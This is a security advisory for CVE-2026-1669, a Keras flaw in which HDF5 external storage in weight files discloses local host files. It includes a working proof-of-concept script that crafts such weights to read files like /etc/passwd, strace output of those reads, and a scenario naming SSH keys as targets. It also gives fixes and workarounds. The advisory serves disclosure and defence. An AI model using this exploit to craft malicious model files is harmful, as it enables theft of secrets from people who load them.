GHSA-3m4q-jmj6-r34q CVE-2026-1669 PYSEC-2026-2546
Keras has a Local File Disclosure via HDF5 External Storage During Keras Weight Loading
- Severity
- 7.1 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.33%
- Chance of exploitation in the next 30 days. Higher than 26.72% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
- CWE-73 External Control of File Name or Path
- Fix
3.13.2- Upgrade keras to this version or later
Description
Summary
TensorFlow / Keras continues to honor HDF5 “external storage” and ExternalLink features when loading weights. A malicious .weights.h5 (or a .keras archive embedding such weights) can direct load_weights() to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (tensorflow 2.20.0, keras 3.11.3, h5py 3.15.1, numpy 2.3.4).
Impact
- Class: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path)
- What leaks: Contents of any readable file on the host (e.g.,
/etc/hosts,/etc/passwd,/etc/hostname). - Visibility: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts.
- Prerequisites: Victim executes
model.load_weights()ortf.keras.models.load_model()on an attacker-supplied HDF5 weights file or.kerasarchive. - Scope: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.
Attacker Scenario
- Initial foothold: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report.
- Crafted payload: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g.,
/home/<user>/.ssh/id_rsa,/etc/shadowif readable, configuration files containing API keys, etc.). - Execution: The victim calls
model.load_weights()(ortf.keras.models.load_model()for.kerasarchives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors. - Exfiltration vectors:
- Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data.
- Re-saving the model (weights or
.kerasarchive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry. - If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.
Additional Preconditions
- The target file must exist and be readable by the process running TensorFlow/Keras.
- Safe mode (
load_model(..., safe_mode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization. - Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to
/etc/hostname) can reduce impact, but common defaults expose a broad set of host files.
Environment Used for Verification (2025‑10‑19)
- OS: Debian-based container running Python 3.11.
- Packages (installed via
python -m pip install -U ...):tensorflow==2.20.0keras==3.11.3h5py==3.15.1numpy==2.3.4
- Tooling:
strace(for syscall tracing),pipupgraded to latest before installs. - Debug flags:
PYTHONFAULTHANDLER=1,TF_CPP_MIN_LOG_LEVEL=0during instrumentation to capture verbose logs if needed.
Reproduction Instructions (Weights-Only PoC)
- Ensure the environment above (or equivalent) is prepared.
- Save the following script as
weights_external_demo.py:
from __future__ import annotations
import os
from pathlib import Path
import numpy as np
import tensorflow as tf
import h5py
def choose_host_file() -> Path:
candidates = [
os.environ.get("KFLI_PATH"),
"/etc/machine-id",
"/etc/hostname",
"/proc/sys/kernel/hostname",
"/etc/passwd",
]
for candidate in candidates:
if not candidate:
continue
path = Path(candidate)
if path.exists() and path.is_file():
return path
raise FileNotFoundError("set KFLI_PATH to a readable file")
def build_model(units: int) -> tf.keras.Model:
model = tf.keras.Sequential([
tf.keras.layers.Input(shape=(1,), name="input"),
tf.keras.layers.Dense(units, activation=None, use_bias=True, name="dense"),
])
model(tf.zeros((1, 1))) # build weights
return model
def find_bias_dataset(h5file: h5py.File) -> str:
matches: list[str] = []
def visit(name: str, obj) -> None:
if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"):
matches.append(name)
h5file.visititems(visit)
if not matches:
raise RuntimeError("bias dataset not found")
return matches[0]
def rewrite_bias_external(path: Path, host_file: Path) -> tuple[int, int]:
with h5py.File(path, "r+") as h5file:
bias_path = find_bias_dataset(h5file)
parent = h5file[str(Path(bias_path).parent)]
dset_name = Path(bias_path).name
del parent[dset_name]
max_bytes = 128
size = host_file.stat().st_size
nbytes = min(size, max_bytes)
nbytes = (nbytes // 4) * 4 or 32 # multiple of 4 for float32 packing
units = max(1, nbytes // 4)
parent.create_dataset(
dset_name,
shape=(units,),
dtype="float32",
external=[(host_file.as_posix(), 0, nbytes)],
)
return units, nbytes
def floats_to_ascii(arr: np.ndarray) -> tuple[str, str]:
raw = np.ascontiguousarray(arr).view(np.uint8)
ascii_preview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore")
hex_preview = raw[:64].tobytes().hex()
return ascii_preview, hex_preview
def main() -> None:
host_file = choose_host_file()
model = build_model(units=32)
weights_path = Path("weights_demo.h5")
model.save_weights(weights_path.as_posix())
units, nbytes = rewrite_bias_external(weights_path, host_file)
print("secret_text_source", host_file)
print("units", units, "bytes_mapped", nbytes)
model.load_weights(weights_path.as_posix())
output = model.predict(tf.zeros((1, 1)), verbose=0)[0]
ascii_preview, hex_preview = floats_to_ascii(output)
print("recovered_ascii", ascii_preview)
print("recovered_hex64", hex_preview)
saved = Path("weights_demo_resaved.h5")
model.save_weights(saved.as_posix())
print("resaved_weights", saved.as_posix())
if __name__ == "__main__":
main()
- Execute
python weights_external_demo.py. - Observe:
secret_text_sourceprints the chosen host file path.recovered_ascii/recovered_hex64display the file contents recovered via model inference.- A re-saved weights file contains the leaked bytes inside the artifact.
Expanded Validation (Multiple Attack Scenarios)
The following test harness generalises the attack for multiple HDF5 constructs:
- Build a minimal feed-forward model and baseline weights.
- Create three malicious variants:
- External storage dataset: dataset references
/etc/hosts. - External link:
ExternalLinkpointing at/etc/passwd. - Indirect link: external storage referencing a helper HDF5 that, in turn, refers to
/etc/hostname.
- External storage dataset: dataset references
- Run each scenario under
strace -f -e trace=open,openat,readwhile callingmodel.load_weights(...). - Post-process traces and weight tensors to show the exact bytes loaded.
Relevant syscall excerpts captured during the run:
openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 7
read(7, "127.0.0.1 localhost\n", 64) = 21
...
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 9
read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32
...
openat(AT_FDCWD, "/etc/hostname", O_RDONLY|O_CLOEXEC) = 8
read(8, "example-host\n", 64) = 13
The corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.
Recommended Product Fix
- Default-deny external datasets/links:
- Inspect creation property lists (
get_external_count) before materialising tensors. - Resolve
SoftLink/ExternalLinktargets and block if they leave the HDF5 file.
- Inspect creation property lists (
- Provide an escape hatch:
- Offer an explicit
allow_external_data=Trueflag or environment variable for advanced users who truly rely on HDF5 external storage.
- Offer an explicit
- Documentation:
- Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default.
- Regression coverage:
- Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.
Workarounds
- Avoid loading untrusted HDF5 weight files.
- Pre-scan weight files using
h5pyto detect external datasets or links before invoking Keras loaders. - Prefer alternate formats (e.g., NumPy
.npz) that lack external reference capabilities when exchanging weights. - If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.
Timeline (UTC)
- 2025‑10‑18: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure.
- 2025‑10‑19: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented
safe_keras_hdf5.pyprototype guard.
Affected versions
PyPI
| Package | Vulnerable | Fixed in |
|---|---|---|
| keras | >= 3.13.0, < 3.13.2 |
3.13.2 |
| keras | >= 3.0.0, < 3.12.1 |
3.12.1 |
| keras | >= 3.0.0, < 3.12.1>= 3.13.0, < 3.13.2 |
3.12.13.13.2 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
keras PyPI → 3.13.2
- pip
pip install --upgrade "keras>=3.13.2"- poetry
poetry add "keras>=3.13.2"- uv
uv add "keras>=3.13.2"
Severity breakdown
CVSS 4.0 7.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- Passive
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- Low
- Availability (vulnerable system)
- None
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Not defined
- Scope
- X
CVSS 3.1 7.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- Required
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- Low
- Availability
- None
Weakness
CWE-200: Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.
How to prevent it
- Architecture and Design: Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area. Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CWE-73: External Control of File Name or Path
The product allows user input to control or influence paths or file names that are used in filesystem operations.
How to prevent it
- Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
- Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
- Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
- Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
- Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
- Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.
References
Advisories
Packages
Other links
- github.com/keras-team/keras/security/advisories/GHSA-3m4q-jmj6-r34q
- github.com/keras-team/keras/pull/22057
- github.com/keras-team/keras/commit/8a37f9dadd8e23fa4ee3f537eeb6413e75d12553
- github.com/keras-team/keras/releases/tag/v3.12.1
- github.com/keras-team/keras/releases/tag/v3.13.2
- access.redhat.com/security/cve/CVE-2026-1669
- bugzilla.redhat.com/show_bug.cgi
- security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-1669.json
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-74m6-m3xx-3vmj Keras model loading is vulnerable to denial of service through HDF5 shape bombs | Medium | Also affects keras |
| GHSA-m8wh-29wm-52mv Keras: HDF5 links can disclose local file contents | Medium | Also affects keras |
| GHSA-v2w2-w228-c444 Keras: TorchModuleWrapper can deserialize unsafe PyTorch pickle data | High | Also affects keras |
| GHSA-58hv-7753-xmfq Keras: tar extraction permits symlink-based path traversal | Medium | Also affects keras |
| GHSA-5gwj-m78q-7pq3 Keras: Lambda deserialization can bypass safe mode and execute code | Critical | Also affects keras |
| GHSA-26c4-7vv6-867j Keras: HDF5 virtual datasets can disclose local files | Medium | Also affects keras |
| GHSA-gh82-f9x8-5frx Keras: DiskIOStore permits path traversal through crafted layer names | Medium | Also affects keras |
| GHSA-hqp4-2352-xf5r Keras archive extraction utilities allow path traversal and arbitrary file writes | High | Also affects keras |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor